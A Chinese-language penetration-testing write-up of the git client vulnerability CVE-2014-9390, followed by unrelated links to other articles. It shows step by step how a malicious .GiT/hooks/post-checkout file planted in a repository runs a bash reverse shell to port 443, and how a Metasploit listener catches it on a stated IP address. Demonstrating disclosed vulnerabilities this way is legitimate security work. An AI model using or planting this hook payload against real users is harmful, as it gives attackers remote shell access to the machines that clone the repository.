0x00 背景


CVE-2014-9390是最近很火的一个漏洞,一个git命令就可能导致你被黑,我不打算深入探讨这个漏洞的细节,官方已经在https://github.com/blog/1938-git-client-vulnerability-announced 和http://article.gmane.org/gmane.linux.kernel/1853266发布了详细信息。总之,如果你使用了大小写不敏感的操作系统例如Windows或OSX,你应该更新git客户端了。

让我们以渗透测试的角度来看看这个漏洞。

0x01 准备


我创建了一个命名为CVE-2014-9390的新项目。

建立一个.GiT(大些G,小写i然后大写T)目录,创建一个vulnerable.txt文件,然后push到项目中。

1
2
3
4
5
6
7
8
9
10
root@rootlab:~/cve-2014-9390# mkdir .GiT
root@rootlab:~/cve-2014-9390# cd .GiT/
root@rootlab:~/cve-2014-9390/.GiT# echo "Vulnerable" >> vulnerable.txt
root@rootlab:~/cve-2014-9390/.GiT# cd ..
root@rootlab:~/cve-2014-9390# git add .
root@rootlab:~/cve-2014-9390# git commit -m 'poc'
[master bec157d] poc
1 file changed, 1 insertion(+)
create mode 100644 .GiT/vulnerable.txt
root@rootlab:~/cve-2014-9390# git push

我们再从Windows的电脑上用存在漏洞的git客户端pull同一个项目看看

1
2
3
4
5
6
7
8
9
rootlab@MINCE ~
$ git clone git@gitlab.com:mehmet/cve-2014-9390.git
Cloning into 'cve-2014-9390'...
Enter passphrase for key '/c/Users/rootlab/.ssh/id_rsa':
remote: Counting objects: 7, done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 7 (delta 0), reused 0 (delta 0)R
Receiving objects: 100% (7/7), done.
Checking connectivity... done.

给大家看一下.git目录,本应该在.GiT目录的vulnerable.txt也在这里

0x02 利用


什么是git的hooks

与许多其他版本控制系统类似,一些重要的动作发生时,git有一个方法来执行自定义的脚本。hooks分两方面:客户端和服务器端。当进行commit和merge时可以触发客户端的hooks。

当执行git命令如git pull和git checkout时就可以执行客户端的脚本。

如何实现git hooks?

重写.git/hooks目录下的一个脚本文件,然后执行他,我们可以通过这个漏洞来实现。

我们创建一个假的git目录然后建立一个叫post-checkout的文件。

1
2
3
4
5
6
7
8
9
root@rootlab:~/cve-2014-9390# mkdir .GiT/hooks
root@rootlab:~/cve-2014-9390# echo '#!/bin/sh' > .GiT/hooks/post-checkout
root@rootlab:~/cve-2014-9390# echo 'bash -i >& /dev/tcp/[IPADDRESS]/443 0>&1' >> .GiT/hooks/post-checkout
root@rootlab:~/cve-2014-9390# git add .
root@rootlab:~/cve-2014-9390# git commit -m 'add reverse connection payload'
[master 389c979] add powershell payload
1 file changed, 4 insertions(+)
create mode 100644 .GiT/hooks/post-checkout
root@rootlab:~//cve-2014-9390# git push

我们在服务器端监听

1
2
3
4
5
6
7
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set LHOST 108.61.164.142
msf exploit(handler) > exploit
[*] Started reverse handler on 108.61.164.142:443
[*] Starting the payload handler...

我们clone https://gitlab.com/mehmet/cve-2014-9390

看起来都是很正常,但是……

One git command may cause you hacked(CVE-2014-9390)的更多相关文章

  1. [Tool] SourceTree初始化GitFlow遇到错误(git command not found)的解决方案

    [Tool] SourceTree初始化GitFlow遇到错误(git command not found)的解决方案 问题情景 使用SourceTree,可以方便开发人员快速的套用GitFlow开发 ...

  2. Cordova 3.0 Plugin 安装 及"git" command line tool is not installed

    根据http://docs.phonegap.com/en/edge/guide_cli_index.md.html#The%20Command-line%20Interface Windows命令行 ...

  3. [Practical Git] Navigate git command pager output with Unix less commands

    When using a git command that can have a large amount of output (like git log, git diff, or git blam ...

  4. git: command not found

    在使用git时,出现“git: command not found”的情况,于是使用yum安装: [root@localhost ~]# yum install -y gitLoaded plugin ...

  5. 警告: git command could not be found. Please create an alias or add it to yo

    5 Answers active answertab=oldest#tab-top" title="Answers in the order they were provided& ...

  6. Git Command之Code Review

    原文链接 准备 Step 1. Create a team and add a teammate Step 2. Create a repository with some content 应用 Cl ...

  7. git command

    下载github代码 git clone https://github.com/zhoug2020/2015.git 在github上创建仓库: Create a new repository on ...

  8. git command line 提交代码

    echo "# spring-boot-apollo-demo" >> README.md git init git add README.md git commit ...

  9. 解决git: 'subtree' is not a git command. See 'git --help'.

    一.第一方法 git clone https://github.com/git/git.git cd git/contrib/subtree sudo make prefix=/usr sudo ma ...

随机推荐

  1. 算法----希尔排序(shell sort)

    在分析插入排序(插入排序算法实现)的算法性能的过程时知道.当数组规模较小或者存在较多的有序子序列时.插入排序将会在非常短的时间内完毕数组的排序,为此能够设计一个单调序列h[n],将数组分为多个小的序列 ...

  2. Qt on Android: Qt Quick 之 Hello World 图文具体解释

    在上一篇文章,<Qt on Android:QML 语言基础>中,我们介绍了 QML 语言的语法,在最后我们遗留了一些问题没有展开,这篇呢,我们就正式開始撰写 Qt Quick 程序,而那 ...

  3. PHP代码为什么不能直接保存HTML文件——&gt;PHP生成静态页面教程

    1.server会依据文件的后缀名去进行解析,假设是HTML文件则server不会进行语法解析.而是直接输出到浏览器. 2.假设一个页面中所有都是HTML代码而没有须要解析的PHP语法,则没有必要保存 ...

  4. Lucene.Net+盘古分词

    前言 各位朋友,谢谢大家的支持,由于文件过大,有考虑到版权的问题,故没有提供下载,本人已建立一个搜索技术交流群:77570783,源代码已上传至群共享,需要的朋友,请自行下载! 首先自问自答几个问题, ...

  5. [转] 使用NVM快速搭建NODE开发环境

    export NVM_NODEJS_ORG_MIRROR=https://npm.taobao.org/mirrors/node 本文主要介绍最近自己碰到的几个坑以及搜索到的相应解决方案: 如何快速搭 ...

  6. Android中多线程下载列表的封装实现(含进度反馈)

    来源:http://blog.csdn.net/u011638883/article/details/17347015 实现了一下Android中的文件多线程下载模块,支持自定义线程数.断点续传.下载 ...

  7. css考核点整理(六)-水平居中定位的几种方式

     定宽    text-align: center 父容器position:relative:子容器 position:absolute;left:50%; margin-left: 宽度/2 .Ce ...

  8. 【IBM】Merlin 给 Java 平台带来了非阻塞 I/O

    Merlin 给 Java 平台带来了非阻塞 I/O 新增的功能大幅降低了线程开销 Java 技术平台早就应该提供非阻塞 I/O 机制了.幸运的是,Merlin(JDK 1.4)有一根几乎在各个场合都 ...

  9. jquery几个常用的demo

    新建两个页面.一个叫做  ---- demo1.js------- 一个叫做 ----- demo1.html----- 代码分别如下 <!DOCTYPE html> <html l ...

  10. object标签参考(转载)

    <object> 元素可支持多种不同的媒介类型,比如: 图片 音频 视频 Other 对象 显示图片 你可以显示一幅图片: <object height="100%&quo ...